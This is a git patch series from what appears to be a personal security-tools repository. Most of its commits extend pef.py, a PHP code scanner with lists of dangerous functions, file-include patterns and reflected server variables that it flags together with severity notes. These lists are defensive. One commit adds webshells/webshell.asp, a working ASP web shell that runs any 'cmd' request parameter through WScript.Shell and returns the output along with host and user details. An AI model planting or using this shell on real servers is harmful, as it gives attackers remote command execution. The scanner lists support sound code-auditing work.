"show_source(", + "fopen(", + "file(", + "fpassthru(", + "gzopen(", + "gzfile(", + "gzpassthru(", + "readgzfile(", + "mssql_query(", + "move_uploaded_file(", + "echo", + "print(", + "printf(", + "xpath(", + "ldap_search(", + "header(", + "http_redirect", + "HttpMessage::setResponseCode", + "HttpMessage::setHeaders", + "HttpRequest::setHeaders", + "sqlite_", + "pg_", + "mysql_", + "mysqli_", + "apache_note(", + "apache_setenv(", + "define_syslog_variables(", + "disk_free_space(", + "disk_total_space(", + "diskfreespace(", + "dl(", + "escapeshellarg(", + "escapeshellcmd(", + "exec(", + "extract(", + "get_cfg_var(", + "get_current_user(", + "getcwd(", + "getenv(", + "getlastmo(", + "getmygid(", + "getmyinode(", + "getmypid(", + "getmyuid(", + "ini_restore(", + "ini_set(", + "passthru(", + "pcntl_alarm(", + "pcntl_exec(", + "pcntl_fork(", + "pcntl_get_last_error(", + "pcntl_getpriority(", + "pcntl_setpriority(", + "pcntl_signal(", + "pcntl_signal_dispatch(", + "pcntl_sigprocmask(", + "pcntl_sigtimedwait(", + "pcntl_sigwaitinfo(", + "pcntl_strerrorp(", + "pcntl_wait(", + "pcntl_waitpid(", + "pcntl_wexitstatus(", + "pcntl_wifexited(", + "pcntl_wifsignaled(", + "pcntl_wifstopped(", + "pcntl_wstopsig(", + "pcntl_wtermsig(", + "php_uname(", + "phpinfo(", + "popen(", + "posix_getlogin(", + "posix_getpwuid(", + "posix_kill(", + "posix_mkfifo(", + "posix_setpgid(", + "posix_setsid(", + "posix_setuid(", + "posix_ttyname(", + "posix_uname(", + "posixc(", + "proc_close(", + "proc_get_status(", + "proc_nice(", + "proc_open(", + "proc_terminate(", + "ps_aux(", + "putenv(", + "readlink(", + "runkit_function_rename(", + "show_source(", + "symlink(", + "syslog(", +] # dangerous global(s) -globalVars = ["$_POST", "$_GET", "$_COOKIE", "$_REQUEST", "$_SERVER"] +globalVars = [ + "$_POST", + "$_GET", + "$_COOKIE", + "$_REQUEST", + "$_SERVER" +] # dangerous patterns - LFI/RFI -fileInclude = ["include($_GET", "require($_GET", - "include_once($_GET", "require_once($_GET", - "include($_REQUEST", "require($_REQUEST", "include_once($_REQUEST", "require_once($_REQUEST"] +fileInclude = [ + "include($_GET", + "require($_GET", + "include_once($_GET", + "require_once($_GET", + "include($_REQUEST", + "require($_REQUEST", + "include_once($_REQUEST", + "require_once($_REQUEST" +] # reflected properties which might leads to eg. XSS -reflectedProperties = ["$_SERVER[\"PHP_SELF\"]", - "$_SERVER[\"SERVER_ADDR\"]", - "$_SERVER[\"SERVER_NAME\"]", - "$_SERVER[\"REMOTE_ADDR\"]", - "$_SERVER[\"REMOTE_HOST\"]", - "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]"] +reflectedProperties = [ + "$_SERVER[\"PHP_SELF\"]", + "$_SERVER[\"SERVER_ADDR\"]", + "$_SERVER[\"SERVER_NAME\"]", + "$_SERVER[\"REMOTE_ADDR\"]", + "$_SERVER[\"REMOTE_HOST\"]", + "$_SERVER[\"REQUEST_URI\"]", + "$_SERVER[\"HTTP_USER_AGENT\"]" +] diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py new file mode 100644 index 0000000..7d846c4 --- /dev/null +++ b/pef/imports/pefdocs.py @@ -0,0 +1,38 @@ +# Reference(S) for pef.py + +# doc dipslayed: +# 1st element - description +# 2nd element - syntax +# 3rd element - possible vulnerability classes +exploitableFunctionsDesc = { + "exec()": [ + "exec - Execute an external program", + "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", + "RCE", + "high" + ], + "call_user_func_array()": [ + "Call a callback with an array of parameters", + "call_user_func_array ( callable $callback , array $param_arr ) : mixed", + "RCE", + "high" + ], + "parse_str()": [ + "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", + "parse_str ( string $encoded_string [, array &$result ] ) : void" + "Code Injection", + "high" + ], + "system()": [ + "Allows to execute system command passed as an argument", + "system ( string $command [, int &$return_var ] ) : string", + "RCE", + "high" + ], + "fopen()": [ + "Opens file or URL", + "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", + "Local File Include; Remote File Include", + "high" + ] +} diff --git a/pef/pef.py b/pef/pef.py index a9d52df..dc19dfe 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -15,6 +15,7 @@ import argparse from imports import pefdefs +from imports import pefdocs from imports.beautyConsole import beautyConsole @@ -28,14 +29,25 @@ def banner(): print "-" * 100, "\33[0m\n" -def printcodeline(_line, i, _fn, _message, prev_line="", next_line="", prev_prev_line="", next_next_line=""): +def printcodeline(_line, i, _fn, _message, prev_line="", next_line="", prev_prev_line="", next_next_line="", __severity={}): """ Formats and prints line of output """ + print ":: line %d :: \33[33;1m%s\33[0m %s found " % (i, _fn, _message) - if _fn and pefdefs.exploitableFunctionsDesc.has_key(_fn): - print "\t\t" + beautyConsole.getColor("white") + pefdefs.exploitableFunctionsDesc.get( - _fn) + beautyConsole.getSpecialChar("endline") + if _fn and _fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): + print "\n " + beautyConsole.getColor("white") + pefdocs.exploitableFunctionsDesc.get( + _fn.strip())[0] + beautyConsole.getSpecialChar("endline") + print " " + beautyConsole.getColor("grey") + pefdocs.exploitableFunctionsDesc.get( + _fn.strip())[1] + beautyConsole.getSpecialChar("endline") + print " Potential impact: " + beautyConsole.getColor("red") + pefdocs.exploitableFunctionsDesc.get( + _fn.strip())[2] + beautyConsole.getSpecialChar("endline") + if pefdocs.exploitableFunctionsDesc.get(_fn.strip())[3] not in __severity.keys(): + __severity[pefdocs.exploitableFunctionsDesc.get(_fn.strip())[ + 3]] = 1 + else: + __severity[pefdocs.exploitableFunctionsDesc.get(_fn.strip( + ))[3]] = __severity[pefdocs.exploitableFunctionsDesc.get(_fn.strip())[3]] + 1 print "\n" if prev_prev_line: @@ -55,7 +67,7 @@ def printcodeline(_line, i, _fn, _message, prev_line="", next_line="", prev_prev print "\n" -def main(src): +def main(src, __severity): """ performs code analysis, line by line """ @@ -91,7 +103,7 @@ def main(src): if _fn in __line: total += 1 printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), - beautyConsole.efMsgFound, prev_line, next_line, prev_prev_line, next_next_line) + beautyConsole.efMsgFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) for _dp in pefdefs.fileInclude: # there has to be space before function call; prevents from false-positives strings contains PHP function names _dp = " {}".format(_dp) @@ -99,17 +111,17 @@ def main(src): if _dp in __line.replace(" ", ""): total += 1 printcodeline(_line, i, _dp + '()', - beautyConsole.fiMsgFound, prev_line, next_line, prev_prev_line, next_next_line) + beautyConsole.fiMsgFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) for _global in pefdefs.globalVars: if _global in __line: total += 1 printcodeline(_line, i, _global, - beautyConsole.efMsgGlobalFound, prev_line, next_line, prev_prev_line, next_next_line) + beautyConsole.efMsgGlobalFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) for _refl in pefdefs.reflectedProperties: if _refl in __line: total += 1 printcodeline(_line, i, _refl, - beautyConsole.eReflFound, prev_line, next_line, prev_prev_line, next_next_line) + beautyConsole.eReflFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) if total < 1: print beautyConsole.getColor("green") + \ @@ -129,7 +141,7 @@ def main(src): if __name__ == "__main__": parser = argparse.ArgumentParser() - __filename = '.' # initial value for file/dir to scan is current directory + __filename = '.' # initial value for file/dir to scan is current directory parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in current directory", action="store_true") @@ -140,23 +152,37 @@ def main(src): __filename = args.file __scanned_files = 0 __found_entries = 0 + __severity = { + "high": 0, + "medium": 0, + "low": 0 + } if args.recursive: for root, subdirs, files in os.walk(__filename): for f in files: __scanned_files = __scanned_files + 1 - res = main(os.path.join(root, f)) + res = main(os.path.join(root, f), __severity) __found_entries = __found_entries + res else: __scanned_files = __scanned_files + 1 - __found_entries = main(__filename) + __found_entries = main(__filename, __severity) print beautyConsole.getColor("green") - print "\n ===> {} file(s) scanned".format(__scanned_files) + print "\n {}file(s) scanned".format(__scanned_files) if __found_entries > 0: - print "{} ===> {} interesting entries found\n\n".format( + print "{} {} interesting entries found\n".format( beautyConsole.getColor("red"), __found_entries) else: - print " ===> No interesting entries found :( \n\n" + print " No interesting entries found :( \n" + + print " {}{}: {}".format( + beautyConsole.getColor("red"), "HIGH", __severity.get("high")) + print " {}{}: {}".format(beautyConsole.getColor( + "yellow"), "MEDIUM", __severity.get("medium")) + print " {}{}: {}".format(beautyConsole.getColor( + "green"), "LOW", __severity.get("low")) + + print "\n" exit(0) From 93acb95284cdcc77f6cb125562a257725aeb67bd Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 16 May 2019 20:08:33 +0100 Subject: [PATCH 071/460] pefdocs [pef.py] --- pef/imports/pefdocs.py | 24 ++++++++++++++++++++++++ pef/pef.py | 2 +- 2 files changed, 25 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 7d846c4..f4058c0 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -34,5 +34,29 @@ "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", "Local File Include; Remote File Include", "high" + ], + "popen()": [ + "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command", + "popen ( string $command , string $mode ) : resource", + "RCE", + "high" + ], + "pcntl_exec()": [ + "Executes specified program in current process space with the given arguments", + "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", + "RCE", + "high" + ], + "eval()" : [ + "Evaluate a string as PHP code", + "eval ( string $code ) : mixed", + "RCE", + "high" + ], + "preg_replace": [ + "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", + "preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed", + "RCE (in certain conditions)", + "medium" ] } diff --git a/pef/pef.py b/pef/pef.py index dc19dfe..282176e 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -169,7 +169,7 @@ def main(src, __severity): __found_entries = main(__filename, __severity) print beautyConsole.getColor("green") - print "\n {}file(s) scanned".format(__scanned_files) + print "\n {} file(s) scanned".format(__scanned_files) if __found_entries > 0: print "{} {} interesting entries found\n".format( beautyConsole.getColor("red"), __found_entries) From 309e71b60b8856980c553cddc32f593abf3a90cb Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Fri, 17 May 2019 08:22:37 +0100 Subject: [PATCH 072/460] change the name of HTML report to keep it on top of directory listing [denumerator.py] --- denumerator/denumerator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 16f5ba4..120a9cf 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -196,7 +196,7 @@ def main(): os.mkdir('report') # starts output HTML - html_output = open('report/denumerator_report.html', 'w+') + html_output = open('report/__denumerator_report.html', 'w+') create_output_header(html_output) # main loop enumerate_domains(domains, output_file, html_output, show) From 1c69dcaa7b696a11650c5d5aebf801749f101aa8 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 19 May 2019 12:27:33 +0100 Subject: [PATCH 073/460] documentation displayed from pefdocs.py - cont. [pef] --- pef/imports/pefdocs.py | 38 ++++++++++++++++++++++++++------ webshells/webshell.asp | 50 ++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 81 insertions(+), 7 deletions(-) create mode 100644 webshells/webshell.asp diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index f4058c0..88dc8fb 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -5,6 +5,12 @@ # 2nd element - syntax # 3rd element - possible vulnerability classes exploitableFunctionsDesc = { + "system()": [ + "Allows to execute system command passed as an argument", + "system ( string $command [, int &$return_var ] ) : string", + "RCE", + "high" + ], "exec()": [ "exec - Execute an external program", "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", @@ -23,12 +29,6 @@ "Code Injection", "high" ], - "system()": [ - "Allows to execute system command passed as an argument", - "system ( string $command [, int &$return_var ] ) : string", - "RCE", - "high" - ], "fopen()": [ "Opens file or URL", "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", @@ -53,10 +53,34 @@ "RCE", "high" ], - "preg_replace": [ + "preg_replace()": [ "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", "preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed", "RCE (in certain conditions)", "medium" + ], + "create_function()": [ + "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", + "create_function ( string $args , string $code ) : string", + "Code Injection, RCE", + "medium" + ], + "include()": [ + "The include statement includes and evaluates the specified file.", + "", + "Code Injection, RCE", + "high" + ], + "require()": [ + "The include statement includes and evaluates the specified file.", + "", + "Code Injection, RCE", + "high" + ], + "passthru()": [ + "Execute an external program and display raw output", + "passthru ( string $command [, int &$return_var ] ) : void", + "RCE", + "high" ] } diff --git a/webshells/webshell.asp b/webshells/webshell.asp new file mode 100644 index 0000000..22c5a5d --- /dev/null +++ b/webshells/webshell.asp @@ -0,0 +1,50 @@ + + + +<% +Set oScript = Server.CreateObject("WSCRIPT.SHELL") +Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") +Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") +Function getCommandOutput(theCommand) + Dim objShell, objCmdExec + Set objShell = CreateObject("WScript.Shell") + Set objCmdExec = objshell.exec(thecommand) + getCommandOutput = objCmdExec.StdOut.ReadAll +end Function +%> + + + + +
+ + +
+
+<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
+<%Response.Write(Request.ServerVariables("server_name"))%>
+

+The server's port: +<%Response.Write(Request.ServerVariables("server_port"))%> +

+

+The server's software: +<%Response.Write(Request.ServerVariables("server_software"))%> +

+

+The server's software: +<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> +<% szCMD = request("cmd") +thisDir = getCommandOutput("cmd /c" & szCMD) +Response.Write(thisDir)%> +

+
+ + \ No newline at end of file From 1c9a248d0ba841e0b2e67f783aef487febe515ee Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 19 May 2019 12:39:51 +0100 Subject: [PATCH 074/460] show only files contain vulnerabilities, just to make output less verbose [pef.py] --- pef/pef.py | 29 +++++++++++++++++++---------- 1 file changed, 19 insertions(+), 10 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 282176e..17389e1 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -67,6 +67,14 @@ def printcodeline(_line, i, _fn, _message, prev_line="", next_line="", prev_prev print "\n" +def header_print(file_name, header_printed): + if header_printed == False: + print beautyConsole.getColor("white") + "-" * 100 + print "FILE: \33[33m%s\33[0m " % os.path.realpath(file_name), "\n" + header_printed = True + return header_printed + + def main(src, __severity): """ performs code analysis, line by line @@ -78,13 +86,12 @@ def main(src, __severity): linelength = 97 all_lines = _file.readlines() + header_printed = False prev_prev_line = "" prev_line = "" next_line = "" next_next_line = "" - print "FILE: \33[33m%s\33[0m " % os.path.realpath(_file.name), "\n" - for _line in all_lines: if i > 2: prev_prev_line = all_lines[i - 2].rstrip() @@ -101,6 +108,7 @@ def main(src, __severity): # there has to be space before function call; prevents from false-positives strings contains PHP function names _fn = " {}".format(_fn) if _fn in __line: + header_printed = header_print(_file.name, header_printed) total += 1 printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), beautyConsole.efMsgFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) @@ -109,31 +117,30 @@ def main(src, __severity): _dp = " {}".format(_dp) # remove spaces to allow detection eg. include( $_GET['something] ) if _dp in __line.replace(" ", ""): + header_printed = header_print(_file.name, header_printed) total += 1 printcodeline(_line, i, _dp + '()', beautyConsole.fiMsgFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) for _global in pefdefs.globalVars: if _global in __line: + header_printed = header_print(_file.name, header_printed) total += 1 printcodeline(_line, i, _global, beautyConsole.efMsgGlobalFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) for _refl in pefdefs.reflectedProperties: if _refl in __line: + header_printed = header_print(_file.name, header_printed) total += 1 printcodeline(_line, i, _refl, beautyConsole.eReflFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) if total < 1: - print beautyConsole.getColor("green") + \ - "No exploitable functions found" + \ - beautyConsole.getSpecialChar("endline") + pass else: print beautyConsole.getColor("red") + \ "Found %d exploitable function(s)\n" % (total) + \ beautyConsole.getSpecialChar("endline") - print beautyConsole.getColor("white") + "-" * 100 - return total # return how many findings in current file @@ -168,6 +175,8 @@ def main(src, __severity): __scanned_files = __scanned_files + 1 __found_entries = main(__filename, __severity) + print beautyConsole.getColor("white") + "-" * 100 + print beautyConsole.getColor("green") print "\n {} file(s) scanned".format(__scanned_files) if __found_entries > 0: @@ -176,11 +185,11 @@ def main(src, __severity): else: print " No interesting entries found :( \n" - print " {}{}: {}".format( + print " {}{}: {}".format( beautyConsole.getColor("red"), "HIGH", __severity.get("high")) - print " {}{}: {}".format(beautyConsole.getColor( + print " {}{}: {}".format(beautyConsole.getColor( "yellow"), "MEDIUM", __severity.get("medium")) - print " {}{}: {}".format(beautyConsole.getColor( + print " {}{}: {}".format(beautyConsole.getColor( "green"), "LOW", __severity.get("low")) print "\n" From 6fe60dcf78512009995f8413a5c9f0f8184be8ee Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 20 May 2019 19:55:41 +0100 Subject: [PATCH 075/460] docs [pef.py] --- pef/imports/pefdefs.py | 1 - pef/imports/pefdocs.py | 54 ++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 54 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index dcbaeb3..de0fb9c 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -16,7 +16,6 @@ "popen(", "proc_open(", "pcntl_exec(", - "asset(", "extract(", "parse_str(", "putenv(", diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 88dc8fb..5411aa2 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -82,5 +82,59 @@ "passthru ( string $command [, int &$return_var ] ) : void", "RCE", "high" + ], + "shell_exec()": [ + "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", + "shell_exec ( string $cmd ) : string", + "RCE", + "high" + ], + "popen()": [ + "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", + "popen ( string $command , string $mode ) : resource", + "Code Injection", + "medium" + ], + "proc_open()": [ + "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", + "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", + "Code Injection", + "medium" + ], + "pcntl_exec()": [ + "Executes the program with the given arguments.", + "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", + "RCE", + "high" + ], + "extract()" :[ + "Import variables into the current symbol table from an array", + "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", + "Code Injection", + "medium" + ], + "parse_str()" :[ + "Parses encoded_string as if it were the query string passed via a URL and sets variables in the current scope (or in the array if result is provided).", + "parse_str ( string $encoded_string [, array &$result ] ) : void", + "Code Injection", + "medium" + ], + "putenv()":[ + "Sets the value of an environment variable", + "putenv ( string $setting ) : bool", + "Code Injection", + "low" + ], + "ini_set()": [ + "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", + "ini_set ( string $varname , string $newvalue ) : string", + "PHP Interpreter behavior change; application settings overwrite", + "low" + ], + "mail()":[ + "Sends an email.", + "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", + "Arbitrary mail sending", + "low" ] } From 8b10ba9b8ac4d63870e1b831665e7ab5dbec315b Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 20 May 2019 20:20:51 +0100 Subject: [PATCH 076/460] refactoring [pef.py] --- pef/imports/beautyConsole.py | 7 ----- pef/imports/pefdocs.py | 6 +++++ pef/pef.py | 52 +++++++++++++++++++++--------------- 3 files changed, 37 insertions(+), 28 deletions(-) diff --git a/pef/imports/beautyConsole.py b/pef/imports/beautyConsole.py index 022a32f..c31e2d7 100755 --- a/pef/imports/beautyConsole.py +++ b/pef/imports/beautyConsole.py @@ -33,10 +33,3 @@ def getSpecialChar(char_name): if char_name in beautyConsole.characters: return beautyConsole.characters[char_name] return "" - - - efMsgFound = " - potential vulnerable code" - eKeyWordFound = "keyword with possibly critical meaning in code" - efMsgGlobalFound = "global variable explicit call" - fiMsgFound = "file include pattern found; potential LFI/RFI detected" - eReflFound = "reflected property found; check for XSS" diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 5411aa2..3d284f4 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -136,5 +136,11 @@ "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", "Arbitrary mail sending", "low" + ], + "echo": [ + "Outputs all parameters. No additional newline is appended.", + "echo ( string $arg1 [, string $... ] ) : void", + "XSS, HTML Injection, Content Injection etc.", + "low" ] } diff --git a/pef/pef.py b/pef/pef.py index 17389e1..3a48833 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -29,25 +29,35 @@ def banner(): print "-" * 100, "\33[0m\n" -def printcodeline(_line, i, _fn, _message, prev_line="", next_line="", prev_prev_line="", next_next_line="", __severity={}): +def printcodeline(_line, i, _fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", __severity={}): """ Formats and prints line of output """ + __impact_color = { + "low": "green", + "medium": "yellow", + "high": "red" + } + + print ":: line %d :: \33[33;1m%s\33[0m " % (i, _fn) - print ":: line %d :: \33[33;1m%s\33[0m %s found " % (i, _fn, _message) + # print legend only if there i sentry in pefdocs.py if _fn and _fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - print "\n " + beautyConsole.getColor("white") + pefdocs.exploitableFunctionsDesc.get( - _fn.strip())[0] + beautyConsole.getSpecialChar("endline") - print " " + beautyConsole.getColor("grey") + pefdocs.exploitableFunctionsDesc.get( - _fn.strip())[1] + beautyConsole.getSpecialChar("endline") - print " Potential impact: " + beautyConsole.getColor("red") + pefdocs.exploitableFunctionsDesc.get( - _fn.strip())[2] + beautyConsole.getSpecialChar("endline") - if pefdocs.exploitableFunctionsDesc.get(_fn.strip())[3] not in __severity.keys(): - __severity[pefdocs.exploitableFunctionsDesc.get(_fn.strip())[ - 3]] = 1 + __impact = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[3] + __description = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[0] + __syntax = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[1] + __vuln_class = pefdocs.exploitableFunctionsDesc.get(_fn.strip())[2] + + print "\n {}{}{}".format(beautyConsole.getColor( + "white"), __description, beautyConsole.getSpecialChar("endline")) + print " {}{}{}".format(beautyConsole.getColor( + "grey"), __syntax, beautyConsole.getSpecialChar("endline")) + print " Potential impact: {}{}{}".format(beautyConsole.getColor( + __impact_color[__impact]), __vuln_class, beautyConsole.getSpecialChar("endline")) + if __impact not in __severity.keys(): + __severity[__impact] = 1 else: - __severity[pefdocs.exploitableFunctionsDesc.get(_fn.strip( - ))[3]] = __severity[pefdocs.exploitableFunctionsDesc.get(_fn.strip())[3]] + 1 + __severity[__impact] = __severity[__impact] + 1 print "\n" if prev_prev_line: @@ -110,8 +120,8 @@ def main(src, __severity): if _fn in __line: header_printed = header_print(_file.name, header_printed) total += 1 - printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), - beautyConsole.efMsgFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) + printcodeline(_line, i, _fn + (')' if '(' in _fn else ''), prev_line, + next_line, prev_prev_line, next_next_line, __severity) for _dp in pefdefs.fileInclude: # there has to be space before function call; prevents from false-positives strings contains PHP function names _dp = " {}".format(_dp) @@ -119,20 +129,20 @@ def main(src, __severity): if _dp in __line.replace(" ", ""): header_printed = header_print(_file.name, header_printed) total += 1 - printcodeline(_line, i, _dp + '()', - beautyConsole.fiMsgFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) + printcodeline(_line, i, _dp + '()', prev_line, next_line, + prev_prev_line, next_next_line, __severity) for _global in pefdefs.globalVars: if _global in __line: header_printed = header_print(_file.name, header_printed) total += 1 - printcodeline(_line, i, _global, - beautyConsole.efMsgGlobalFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) + printcodeline(_line, i, _global, prev_line, next_line, + prev_prev_line, next_next_line, __severity) for _refl in pefdefs.reflectedProperties: if _refl in __line: header_printed = header_print(_file.name, header_printed) total += 1 - printcodeline(_line, i, _refl, - beautyConsole.eReflFound, prev_line, next_line, prev_prev_line, next_next_line, __severity) + printcodeline(_line, i, _refl, prev_line, next_line, + prev_prev_line, next_next_line, __severity) if total < 1: pass From 2867cdf3e0ac2aef729495959b9625d436441c00 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 21 May 2019 08:23:33 +0100 Subject: [PATCH 077/460] docs [pef.py] --- pef/imports/pefdocs.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 3d284f4..2ca0f89 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -142,5 +142,11 @@ "echo ( string $arg1 [, string $... ] ) : void", "XSS, HTML Injection, Content Injection etc.", "low" + ], + "header()" : [ + "header() is used to send a raw HTTP header.", + "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", + "Header Injection (?)", + "low" ] } From a3fd46f891abf8bd44c341907a43721fa6c38daa Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 21 May 2019 20:24:16 +0100 Subject: [PATCH 078/460] docs [pef.py] --- pef/imports/pefdocs.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 2ca0f89..7efce15 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -148,5 +148,11 @@ "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", "Header Injection (?)", "low" + ], + "unserialize()": [ + "unserialize() takes a single serialized variable and converts it back into a PHP value.", + "unserialize ( string $str [, array $options ] ) : mixed", + "Code Injection, RCE (in certain conditions)", + "high" ] } From ef00fa11120230b45ddb86cea5eacafc12d3e7f0 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 22 May 2019 09:12:13 +0100 Subject: [PATCH 079/460] docs [pef.py] --- pef/imports/pefdefs.py | 2 -- pef/imports/pefdocs.py | 42 ++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 2 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index de0fb9c..6cabb81 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -23,8 +23,6 @@ "mail(", "header(", "unserialize(", - "apache_child_terminate(", - "apache_get_modules(", "assert(", "call_user_func(", "call_user_func_array(", diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 7efce15..30ee00f 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -154,5 +154,47 @@ "unserialize ( string $str [, array $options ] ) : mixed", "Code Injection, RCE (in certain conditions)", "high" + ], + "assert()": [ + "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", + "assert ( mixed $assertion [, string $description ] ) : bool (PHP 5,7) assert ( mixed $assertion [, Throwable $exception ] ) : bool (PHP 7)", + "RCE, Code Injection (in certain conditions)", + "low" + ], + "call_user_func()": [ + "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", + "call_user_func ( callable $callback [, mixed $... ] ) : mixed", + "Code Injection", + "medium" + ], + "ereg_replace()" :[ + "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", + "ereg_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low" + ], + "eregi_replace()" :[ + "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", + "eregi_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low" + ], + "mb_ereg_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", + "Code Injection", + "low" + ], + "mb_eregi_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", + "Code Injection", + "low" + ], + "virtual()" : [ + "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", + "virtual ( string $filename ) : bool", + "Local File Include, Remote File Include", + "low" ] } From 622ad6f29adbd5092df991f84a2614da0d6f3d40 